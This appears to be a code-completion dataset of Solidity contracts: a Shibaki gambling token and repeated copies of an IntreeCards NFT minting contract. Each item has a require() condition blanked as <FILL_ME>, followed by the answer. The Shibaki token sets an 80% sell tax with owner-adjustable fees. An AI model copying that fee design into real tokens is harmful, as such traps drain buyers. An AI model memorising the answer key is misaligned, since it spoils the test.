as a sum of dices and get to the next step. Now you have to enter an amount of ETH/SHIBAKI (to change the currency you have to click on a picture of the currency on the left) you want to bet to the column 2-6 or 8-12. After entering your bet amount, just click BET and confirm the transaction in MetaMask. Now wait for the timer to get to zero and check the results on the screen. 1. If you won - you will see the green coin in the middle and will be able to claim your win. 2. If you lost - you will see the red coin in the middle. 3. If the results is 7 - SHIBAKI wins all the pots. If you won - do not forget to claim and sign the transaction in MetaMask. WHAT YOU CAN WIN? Shibaki dice have two pots - 2-6 and 8-12. The winning pot gets the all bets of the opposite pot and divides the prize according to the percentage of the total amount of the pot you bet. (check the multiplier to get what pot have more bets at the moment) TAXES Casino needs some promo, so there are some taxes: ETH: 4% for betting and 3% for claiming the prize. Good luck ! DISCLAIMER https://www.begambleaware.org/ */ pragma solidity ^0.8.12; import {Context} from "@openzeppelin/contracts/utils/Context.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {SafeMath} from "@openzeppelin/contracts/utils/math/SafeMath.sol"; import {Ownable2Step} from "@openzeppelin/contracts/access/Ownable2Step.sol"; import {console} from "hardhat/console.sol"; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); /* solhint-disable-next-line func-name-mixedcase */ function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface ILiqPair { function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast); } contract Shibaki is Context, IERC20, Ownable2Step { using SafeMath for uint256; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 public _buyTax = 20; uint256 public _sellTax = 80; bool public enabledSetFee = true; // Tax distribution uint8 public _taxDevPc = 20; uint8 public _taxTeamPc = 80; address payable public _devWallet; //dev address payable public _teamWallet; //team uint8 private constant _DECIMALS = 9; uint256 private constant _SUPPLY = 1000000 * 10 ** _DECIMALS; string private constant _NAME = "Shibaki"; string private constant _SYMBOL = "Shibaki"; uint256 public _maxTxAmount = _SUPPLY.div(100); //1% uint256 public _maxWalletSize = _SUPPLY.div(50); //2% uint256 public _taxSwapThresholdDenom = 200;//_SUPPLY.div(200); //0.5% uint256 public _maxTaxSwapDenom = 100;//_SUPPLY.div(100); //1% bool public limitsEnabled = true; mapping(address => bool) public _exemptLimitsTaxes; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2RouterAdr = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap() { } modifier allowed() { } constructor() { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { } function _approve(address owner, address spender, uint256 amount) private { } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount = 0; if(!_exemptLimitsTaxes[to] && !_exemptLimitsTaxes[from]) { // Tx limit, wallet limit // if (limitsEnabled) { if (to != uniswapV2Pair) { uint256 heldTokens = balanceOf(to); require(<FILL_ME>) require(amount <= _maxTxAmount, "TX Limit Exceeded"); } } // Buy tax // if(from == uniswapV2Pair) { taxAmount = amount.mul(_buyTax).div(100); } // Sell tax // if (to == uniswapV2Pair) { taxAmount = amount.mul(_sellTax).div(100); } // Swap and send fee // (uint256 taxSwapThreshold, uint256 maxTaxSwap) = getSwapSettings(); uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > taxSwapThreshold) { swapTokensForEth(min(contractTokenBalance, maxTaxSwap)); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } // Apply tax // if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function getSwapSettings() public view returns(uint256, uint256) { } function min(uint256 a, uint256 b) private pure returns (uint256) { } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { } /** *@notice Send eth to tax wallets */ function sendETHToFee(uint256 amount) private { } // #region ADMIN function openTrading() external payable allowed { } function AddWalletExemptLimitsTaxes(address _wallet, bool exempt) external allowed { } function enableLimits(bool enable) external allowed { } function unstuckETH() external allowed { } function unstuckToken(address _token) external allowed { } function manualSwap() external allowed { } function renounceSetFee() external allowed { } function setFee(uint256 newbuyFee, uint256 newSellFee) external allowed { } function reduceFee(uint256 newbuyFee, uint256 newSellFee) external allowed { } // #endregion /* solhint-disable-next-line no-empty-blocks */ receive() external payable {} }
(heldTokens+amount)<=_maxWalletSize,"Total Holding is currently limited, you can not buy that much."
98,797
(heldTokens+amount)<=_maxWalletSize
"You can't mint more than the max supply!"
pragma solidity >=0.7.0 <0.9.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "erc721a/contracts/ERC721A.sol"; struct PresaleConfig { uint32 startTime; uint32 endTime; uint256 whitelistMintPerWalletMax; uint256 whitelistPrice; uint256 maxSupply; } // Bureaucrat (LKL) & Stonk contract IntreeCards is ERC721A, ERC2981, Ownable, ReentrancyGuard { using Strings for uint256; bytes32 public merkleRoot; string public baseURI; uint32 public publicSaleStartTime; uint32 MINT_PER_TX = 10; uint256 public CURRENT_PHASE = 0; // 0 -> Alpha, 1 -> Beta, 2 -> Charlie. uint256 public PRICE = 0.12 ether; uint256 public whitelistTotalSupply = 0; // UPDATE SUPPLY AFTER EACH PHASE. uint256 public CURRENT_MAX_SUPPLY = 1000; uint256[] public SUPPLY_MAX = [1000, 1000, 2580]; uint256[] public WL_SUPPLY_MAX = [1000, 1000, 2580]; PresaleConfig public presaleConfig; bool public presalePaused = false; bool public publicSalePaused = true; bool public revealed; mapping(address => mapping(uint256 => uint256)) public walletMints; constructor( string memory _name, string memory _symbol, address royaltiesReceiver, uint96 royaltyInBips // "basis points" (points per 10_000, e.g., 10% = 1000 bps) ) ERC721A(_name, _symbol) payable { } modifier mintCompliance(uint256 _mintAmount) { require(msg.sender == tx.origin, "Nope. Can't mint through another contract."); require(_mintAmount <= MINT_PER_TX, "You can mint only 10 per TX!"); // Total Phase-limiting supply: require(<FILL_ME>) _; } function presaleMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) external payable nonReentrant mintCompliance(_mintAmount) { } function publicMint(uint256 _mintAmount) external payable nonReentrant mintCompliance(_mintAmount) { } // Reserves for the team, promos, and VIP sale. function mintForAddress(uint256 _mintAmount, address _receiver) public onlyOwner { } function _startTokenId() internal view virtual override returns (uint256) { } function currentMaxSupply(uint256[] memory _mintTypeMaxSupply) internal view returns (uint256) { } function walletStatus(address _address) public view returns (uint256[] memory) { } function setRevealed() external onlyOwner { } function setCurrentPhase(uint256 _phase) external onlyOwner { } function pausePublic(bool _state) external onlyOwner { } function pausePresale(bool _state) external onlyOwner { } function setPublicSaleStartTime(uint32 startTime_) external onlyOwner { } function configurePresale(uint32 _startTime, uint32 _endTime, uint256 _price, uint32 _walletLimitPerUser) external onlyOwner { } function setMerkleRoot(bytes32 merkleRoot_) external onlyOwner { } function setPublicPrice(uint256 _price) external onlyOwner { } function setCurrentMaxSupply(uint256 _supply) external onlyOwner { } function setMaxSupplyPublic(uint256 _supply, uint16 _phase) external onlyOwner { } function setMaxSupplyPresale(uint256 _supply, uint16 _phase) external onlyOwner { } function withdraw() external onlyOwner { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } /* * ROYALTIES */ function setRoyaltyInfo(address receiver, uint96 feeNumerator) public onlyOwner { } function deleteDefaultRoyalty() external onlyOwner { } function setTokenRoyalty( uint256 tokenId, address receiver, uint96 feeNumerator ) external onlyOwner { } function resetTokenRoyalty(uint256 tokenId) external onlyOwner { } /* * METADATA URI */ function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } }
_mintAmount+totalSupply()<=CURRENT_MAX_SUPPLY,"You can't mint more than the max supply!"
98,819
_mintAmount+totalSupply()<=CURRENT_MAX_SUPPLY
"Presale has been paused."
pragma solidity >=0.7.0 <0.9.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "erc721a/contracts/ERC721A.sol"; struct PresaleConfig { uint32 startTime; uint32 endTime; uint256 whitelistMintPerWalletMax; uint256 whitelistPrice; uint256 maxSupply; } // Bureaucrat (LKL) & Stonk contract IntreeCards is ERC721A, ERC2981, Ownable, ReentrancyGuard { using Strings for uint256; bytes32 public merkleRoot; string public baseURI; uint32 public publicSaleStartTime; uint32 MINT_PER_TX = 10; uint256 public CURRENT_PHASE = 0; // 0 -> Alpha, 1 -> Beta, 2 -> Charlie. uint256 public PRICE = 0.12 ether; uint256 public whitelistTotalSupply = 0; // UPDATE SUPPLY AFTER EACH PHASE. uint256 public CURRENT_MAX_SUPPLY = 1000; uint256[] public SUPPLY_MAX = [1000, 1000, 2580]; uint256[] public WL_SUPPLY_MAX = [1000, 1000, 2580]; PresaleConfig public presaleConfig; bool public presalePaused = false; bool public publicSalePaused = true; bool public revealed; mapping(address => mapping(uint256 => uint256)) public walletMints; constructor( string memory _name, string memory _symbol, address royaltiesReceiver, uint96 royaltyInBips // "basis points" (points per 10_000, e.g., 10% = 1000 bps) ) ERC721A(_name, _symbol) payable { } modifier mintCompliance(uint256 _mintAmount) { } function presaleMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) external payable nonReentrant mintCompliance(_mintAmount) { PresaleConfig memory config_ = presaleConfig; require(<FILL_ME>) require(block.timestamp >= config_.startTime && block.timestamp < config_.endTime, "Presale is not active yet!"); require((walletMints[msg.sender][CURRENT_PHASE] + _mintAmount) <= config_.whitelistMintPerWalletMax, "Exceeds whitelist max mint per wallet!"); require(_mintAmount + whitelistTotalSupply <= currentMaxSupply(WL_SUPPLY_MAX), "Exceeds allowed max supply for this phase!"); require(msg.value >= (config_.whitelistPrice * _mintAmount), "Insufficient funds!"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Invalid Merkle Proof."); unchecked { walletMints[msg.sender][CURRENT_PHASE] += _mintAmount; whitelistTotalSupply += _mintAmount; } _safeMint(msg.sender, _mintAmount); } function publicMint(uint256 _mintAmount) external payable nonReentrant mintCompliance(_mintAmount) { } // Reserves for the team, promos, and VIP sale. function mintForAddress(uint256 _mintAmount, address _receiver) public onlyOwner { } function _startTokenId() internal view virtual override returns (uint256) { } function currentMaxSupply(uint256[] memory _mintTypeMaxSupply) internal view returns (uint256) { } function walletStatus(address _address) public view returns (uint256[] memory) { } function setRevealed() external onlyOwner { } function setCurrentPhase(uint256 _phase) external onlyOwner { } function pausePublic(bool _state) external onlyOwner { } function pausePresale(bool _state) external onlyOwner { } function setPublicSaleStartTime(uint32 startTime_) external onlyOwner { } function configurePresale(uint32 _startTime, uint32 _endTime, uint256 _price, uint32 _walletLimitPerUser) external onlyOwner { } function setMerkleRoot(bytes32 merkleRoot_) external onlyOwner { } function setPublicPrice(uint256 _price) external onlyOwner { } function setCurrentMaxSupply(uint256 _supply) external onlyOwner { } function setMaxSupplyPublic(uint256 _supply, uint16 _phase) external onlyOwner { } function setMaxSupplyPresale(uint256 _supply, uint16 _phase) external onlyOwner { } function withdraw() external onlyOwner { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } /* * ROYALTIES */ function setRoyaltyInfo(address receiver, uint96 feeNumerator) public onlyOwner { } function deleteDefaultRoyalty() external onlyOwner { } function setTokenRoyalty( uint256 tokenId, address receiver, uint96 feeNumerator ) external onlyOwner { } function resetTokenRoyalty(uint256 tokenId) external onlyOwner { } /* * METADATA URI */ function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } }
!presalePaused,"Presale has been paused."
98,819
!presalePaused
"Exceeds whitelist max mint per wallet!"
pragma solidity >=0.7.0 <0.9.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "erc721a/contracts/ERC721A.sol"; struct PresaleConfig { uint32 startTime; uint32 endTime; uint256 whitelistMintPerWalletMax; uint256 whitelistPrice; uint256 maxSupply; } // Bureaucrat (LKL) & Stonk contract IntreeCards is ERC721A, ERC2981, Ownable, ReentrancyGuard { using Strings for uint256; bytes32 public merkleRoot; string public baseURI; uint32 public publicSaleStartTime; uint32 MINT_PER_TX = 10; uint256 public CURRENT_PHASE = 0; // 0 -> Alpha, 1 -> Beta, 2 -> Charlie. uint256 public PRICE = 0.12 ether; uint256 public whitelistTotalSupply = 0; // UPDATE SUPPLY AFTER EACH PHASE. uint256 public CURRENT_MAX_SUPPLY = 1000; uint256[] public SUPPLY_MAX = [1000, 1000, 2580]; uint256[] public WL_SUPPLY_MAX = [1000, 1000, 2580]; PresaleConfig public presaleConfig; bool public presalePaused = false; bool public publicSalePaused = true; bool public revealed; mapping(address => mapping(uint256 => uint256)) public walletMints; constructor( string memory _name, string memory _symbol, address royaltiesReceiver, uint96 royaltyInBips // "basis points" (points per 10_000, e.g., 10% = 1000 bps) ) ERC721A(_name, _symbol) payable { } modifier mintCompliance(uint256 _mintAmount) { } function presaleMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) external payable nonReentrant mintCompliance(_mintAmount) { PresaleConfig memory config_ = presaleConfig; require(!presalePaused, "Presale has been paused."); require(block.timestamp >= config_.startTime && block.timestamp < config_.endTime, "Presale is not active yet!"); require(<FILL_ME>) require(_mintAmount + whitelistTotalSupply <= currentMaxSupply(WL_SUPPLY_MAX), "Exceeds allowed max supply for this phase!"); require(msg.value >= (config_.whitelistPrice * _mintAmount), "Insufficient funds!"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Invalid Merkle Proof."); unchecked { walletMints[msg.sender][CURRENT_PHASE] += _mintAmount; whitelistTotalSupply += _mintAmount; } _safeMint(msg.sender, _mintAmount); } function publicMint(uint256 _mintAmount) external payable nonReentrant mintCompliance(_mintAmount) { } // Reserves for the team, promos, and VIP sale. function mintForAddress(uint256 _mintAmount, address _receiver) public onlyOwner { } function _startTokenId() internal view virtual override returns (uint256) { } function currentMaxSupply(uint256[] memory _mintTypeMaxSupply) internal view returns (uint256) { } function walletStatus(address _address) public view returns (uint256[] memory) { } function setRevealed() external onlyOwner { } function setCurrentPhase(uint256 _phase) external onlyOwner { } function pausePublic(bool _state) external onlyOwner { } function pausePresale(bool _state) external onlyOwner { } function setPublicSaleStartTime(uint32 startTime_) external onlyOwner { } function configurePresale(uint32 _startTime, uint32 _endTime, uint256 _price, uint32 _walletLimitPerUser) external onlyOwner { } function setMerkleRoot(bytes32 merkleRoot_) external onlyOwner { } function setPublicPrice(uint256 _price) external onlyOwner { } function setCurrentMaxSupply(uint256 _supply) external onlyOwner { } function setMaxSupplyPublic(uint256 _supply, uint16 _phase) external onlyOwner { } function setMaxSupplyPresale(uint256 _supply, uint16 _phase) external onlyOwner { } function withdraw() external onlyOwner { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } /* * ROYALTIES */ function setRoyaltyInfo(address receiver, uint96 feeNumerator) public onlyOwner { } function deleteDefaultRoyalty() external onlyOwner { } function setTokenRoyalty( uint256 tokenId, address receiver, uint96 feeNumerator ) external onlyOwner { } function resetTokenRoyalty(uint256 tokenId) external onlyOwner { } /* * METADATA URI */ function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } }
(walletMints[msg.sender][CURRENT_PHASE]+_mintAmount)<=config_.whitelistMintPerWalletMax,"Exceeds whitelist max mint per wallet!"
98,819
(walletMints[msg.sender][CURRENT_PHASE]+_mintAmount)<=config_.whitelistMintPerWalletMax
"Exceeds allowed max supply for this phase!"
pragma solidity >=0.7.0 <0.9.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "erc721a/contracts/ERC721A.sol"; struct PresaleConfig { uint32 startTime; uint32 endTime; uint256 whitelistMintPerWalletMax; uint256 whitelistPrice; uint256 maxSupply; } // Bureaucrat (LKL) & Stonk contract IntreeCards is ERC721A, ERC2981, Ownable, ReentrancyGuard { using Strings for uint256; bytes32 public merkleRoot; string public baseURI; uint32 public publicSaleStartTime; uint32 MINT_PER_TX = 10; uint256 public CURRENT_PHASE = 0; // 0 -> Alpha, 1 -> Beta, 2 -> Charlie. uint256 public PRICE = 0.12 ether; uint256 public whitelistTotalSupply = 0; // UPDATE SUPPLY AFTER EACH PHASE. uint256 public CURRENT_MAX_SUPPLY = 1000; uint256[] public SUPPLY_MAX = [1000, 1000, 2580]; uint256[] public WL_SUPPLY_MAX = [1000, 1000, 2580]; PresaleConfig public presaleConfig; bool public presalePaused = false; bool public publicSalePaused = true; bool public revealed; mapping(address => mapping(uint256 => uint256)) public walletMints; constructor( string memory _name, string memory _symbol, address royaltiesReceiver, uint96 royaltyInBips // "basis points" (points per 10_000, e.g., 10% = 1000 bps) ) ERC721A(_name, _symbol) payable { } modifier mintCompliance(uint256 _mintAmount) { } function presaleMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) external payable nonReentrant mintCompliance(_mintAmount) { PresaleConfig memory config_ = presaleConfig; require(!presalePaused, "Presale has been paused."); require(block.timestamp >= config_.startTime && block.timestamp < config_.endTime, "Presale is not active yet!"); require((walletMints[msg.sender][CURRENT_PHASE] + _mintAmount) <= config_.whitelistMintPerWalletMax, "Exceeds whitelist max mint per wallet!"); require(<FILL_ME>) require(msg.value >= (config_.whitelistPrice * _mintAmount), "Insufficient funds!"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Invalid Merkle Proof."); unchecked { walletMints[msg.sender][CURRENT_PHASE] += _mintAmount; whitelistTotalSupply += _mintAmount; } _safeMint(msg.sender, _mintAmount); } function publicMint(uint256 _mintAmount) external payable nonReentrant mintCompliance(_mintAmount) { } // Reserves for the team, promos, and VIP sale. function mintForAddress(uint256 _mintAmount, address _receiver) public onlyOwner { } function _startTokenId() internal view virtual override returns (uint256) { } function currentMaxSupply(uint256[] memory _mintTypeMaxSupply) internal view returns (uint256) { } function walletStatus(address _address) public view returns (uint256[] memory) { } function setRevealed() external onlyOwner { } function setCurrentPhase(uint256 _phase) external onlyOwner { } function pausePublic(bool _state) external onlyOwner { } function pausePresale(bool _state) external onlyOwner { } function setPublicSaleStartTime(uint32 startTime_) external onlyOwner { } function configurePresale(uint32 _startTime, uint32 _endTime, uint256 _price, uint32 _walletLimitPerUser) external onlyOwner { } function setMerkleRoot(bytes32 merkleRoot_) external onlyOwner { } function setPublicPrice(uint256 _price) external onlyOwner { } function setCurrentMaxSupply(uint256 _supply) external onlyOwner { } function setMaxSupplyPublic(uint256 _supply, uint16 _phase) external onlyOwner { } function setMaxSupplyPresale(uint256 _supply, uint16 _phase) external onlyOwner { } function withdraw() external onlyOwner { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } /* * ROYALTIES */ function setRoyaltyInfo(address receiver, uint96 feeNumerator) public onlyOwner { } function deleteDefaultRoyalty() external onlyOwner { } function setTokenRoyalty( uint256 tokenId, address receiver, uint96 feeNumerator ) external onlyOwner { } function resetTokenRoyalty(uint256 tokenId) external onlyOwner { } /* * METADATA URI */ function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } }
_mintAmount+whitelistTotalSupply<=currentMaxSupply(WL_SUPPLY_MAX),"Exceeds allowed max supply for this phase!"
98,819
_mintAmount+whitelistTotalSupply<=currentMaxSupply(WL_SUPPLY_MAX)
"Insufficient funds!"
pragma solidity >=0.7.0 <0.9.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "erc721a/contracts/ERC721A.sol"; struct PresaleConfig { uint32 startTime; uint32 endTime; uint256 whitelistMintPerWalletMax; uint256 whitelistPrice; uint256 maxSupply; } // Bureaucrat (LKL) & Stonk contract IntreeCards is ERC721A, ERC2981, Ownable, ReentrancyGuard { using Strings for uint256; bytes32 public merkleRoot; string public baseURI; uint32 public publicSaleStartTime; uint32 MINT_PER_TX = 10; uint256 public CURRENT_PHASE = 0; // 0 -> Alpha, 1 -> Beta, 2 -> Charlie. uint256 public PRICE = 0.12 ether; uint256 public whitelistTotalSupply = 0; // UPDATE SUPPLY AFTER EACH PHASE. uint256 public CURRENT_MAX_SUPPLY = 1000; uint256[] public SUPPLY_MAX = [1000, 1000, 2580]; uint256[] public WL_SUPPLY_MAX = [1000, 1000, 2580]; PresaleConfig public presaleConfig; bool public presalePaused = false; bool public publicSalePaused = true; bool public revealed; mapping(address => mapping(uint256 => uint256)) public walletMints; constructor( string memory _name, string memory _symbol, address royaltiesReceiver, uint96 royaltyInBips // "basis points" (points per 10_000, e.g., 10% = 1000 bps) ) ERC721A(_name, _symbol) payable { } modifier mintCompliance(uint256 _mintAmount) { } function presaleMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) external payable nonReentrant mintCompliance(_mintAmount) { PresaleConfig memory config_ = presaleConfig; require(!presalePaused, "Presale has been paused."); require(block.timestamp >= config_.startTime && block.timestamp < config_.endTime, "Presale is not active yet!"); require((walletMints[msg.sender][CURRENT_PHASE] + _mintAmount) <= config_.whitelistMintPerWalletMax, "Exceeds whitelist max mint per wallet!"); require(_mintAmount + whitelistTotalSupply <= currentMaxSupply(WL_SUPPLY_MAX), "Exceeds allowed max supply for this phase!"); require(<FILL_ME>) bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Invalid Merkle Proof."); unchecked { walletMints[msg.sender][CURRENT_PHASE] += _mintAmount; whitelistTotalSupply += _mintAmount; } _safeMint(msg.sender, _mintAmount); } function publicMint(uint256 _mintAmount) external payable nonReentrant mintCompliance(_mintAmount) { } // Reserves for the team, promos, and VIP sale. function mintForAddress(uint256 _mintAmount, address _receiver) public onlyOwner { } function _startTokenId() internal view virtual override returns (uint256) { } function currentMaxSupply(uint256[] memory _mintTypeMaxSupply) internal view returns (uint256) { } function walletStatus(address _address) public view returns (uint256[] memory) { } function setRevealed() external onlyOwner { } function setCurrentPhase(uint256 _phase) external onlyOwner { } function pausePublic(bool _state) external onlyOwner { } function pausePresale(bool _state) external onlyOwner { } function setPublicSaleStartTime(uint32 startTime_) external onlyOwner { } function configurePresale(uint32 _startTime, uint32 _endTime, uint256 _price, uint32 _walletLimitPerUser) external onlyOwner { } function setMerkleRoot(bytes32 merkleRoot_) external onlyOwner { } function setPublicPrice(uint256 _price) external onlyOwner { } function setCurrentMaxSupply(uint256 _supply) external onlyOwner { } function setMaxSupplyPublic(uint256 _supply, uint16 _phase) external onlyOwner { } function setMaxSupplyPresale(uint256 _supply, uint16 _phase) external onlyOwner { } function withdraw() external onlyOwner { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } /* * ROYALTIES */ function setRoyaltyInfo(address receiver, uint96 feeNumerator) public onlyOwner { } function deleteDefaultRoyalty() external onlyOwner { } function setTokenRoyalty( uint256 tokenId, address receiver, uint96 feeNumerator ) external onlyOwner { } function resetTokenRoyalty(uint256 tokenId) external onlyOwner { } /* * METADATA URI */ function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } }
msg.value>=(config_.whitelistPrice*_mintAmount),"Insufficient funds!"
98,819
msg.value>=(config_.whitelistPrice*_mintAmount)
"Public minting is paused."
pragma solidity >=0.7.0 <0.9.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "erc721a/contracts/ERC721A.sol"; struct PresaleConfig { uint32 startTime; uint32 endTime; uint256 whitelistMintPerWalletMax; uint256 whitelistPrice; uint256 maxSupply; } // Bureaucrat (LKL) & Stonk contract IntreeCards is ERC721A, ERC2981, Ownable, ReentrancyGuard { using Strings for uint256; bytes32 public merkleRoot; string public baseURI; uint32 public publicSaleStartTime; uint32 MINT_PER_TX = 10; uint256 public CURRENT_PHASE = 0; // 0 -> Alpha, 1 -> Beta, 2 -> Charlie. uint256 public PRICE = 0.12 ether; uint256 public whitelistTotalSupply = 0; // UPDATE SUPPLY AFTER EACH PHASE. uint256 public CURRENT_MAX_SUPPLY = 1000; uint256[] public SUPPLY_MAX = [1000, 1000, 2580]; uint256[] public WL_SUPPLY_MAX = [1000, 1000, 2580]; PresaleConfig public presaleConfig; bool public presalePaused = false; bool public publicSalePaused = true; bool public revealed; mapping(address => mapping(uint256 => uint256)) public walletMints; constructor( string memory _name, string memory _symbol, address royaltiesReceiver, uint96 royaltyInBips // "basis points" (points per 10_000, e.g., 10% = 1000 bps) ) ERC721A(_name, _symbol) payable { } modifier mintCompliance(uint256 _mintAmount) { } function presaleMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) external payable nonReentrant mintCompliance(_mintAmount) { } function publicMint(uint256 _mintAmount) external payable nonReentrant mintCompliance(_mintAmount) { require(<FILL_ME>) require(publicSaleStartTime <= block.timestamp, "Public sale is not active yet!"); require(msg.value >= (PRICE * _mintAmount), "Insufficient funds!"); require(_mintAmount + totalSupply() <= currentMaxSupply(SUPPLY_MAX), "Exceeds allowed max supply for this phase!"); unchecked { walletMints[msg.sender][CURRENT_PHASE] += _mintAmount; } _safeMint(msg.sender, _mintAmount); } // Reserves for the team, promos, and VIP sale. function mintForAddress(uint256 _mintAmount, address _receiver) public onlyOwner { } function _startTokenId() internal view virtual override returns (uint256) { } function currentMaxSupply(uint256[] memory _mintTypeMaxSupply) internal view returns (uint256) { } function walletStatus(address _address) public view returns (uint256[] memory) { } function setRevealed() external onlyOwner { } function setCurrentPhase(uint256 _phase) external onlyOwner { } function pausePublic(bool _state) external onlyOwner { } function pausePresale(bool _state) external onlyOwner { } function setPublicSaleStartTime(uint32 startTime_) external onlyOwner { } function configurePresale(uint32 _startTime, uint32 _endTime, uint256 _price, uint32 _walletLimitPerUser) external onlyOwner { } function setMerkleRoot(bytes32 merkleRoot_) external onlyOwner { } function setPublicPrice(uint256 _price) external onlyOwner { } function setCurrentMaxSupply(uint256 _supply) external onlyOwner { } function setMaxSupplyPublic(uint256 _supply, uint16 _phase) external onlyOwner { } function setMaxSupplyPresale(uint256 _supply, uint16 _phase) external onlyOwner { } function withdraw() external onlyOwner { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } /* * ROYALTIES */ function setRoyaltyInfo(address receiver, uint96 feeNumerator) public onlyOwner { } function deleteDefaultRoyalty() external onlyOwner { } function setTokenRoyalty( uint256 tokenId, address receiver, uint96 feeNumerator ) external onlyOwner { } function resetTokenRoyalty(uint256 tokenId) external onlyOwner { } /* * METADATA URI */ function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } }
!publicSalePaused,"Public minting is paused."
98,819
!publicSalePaused
"Insufficient funds!"
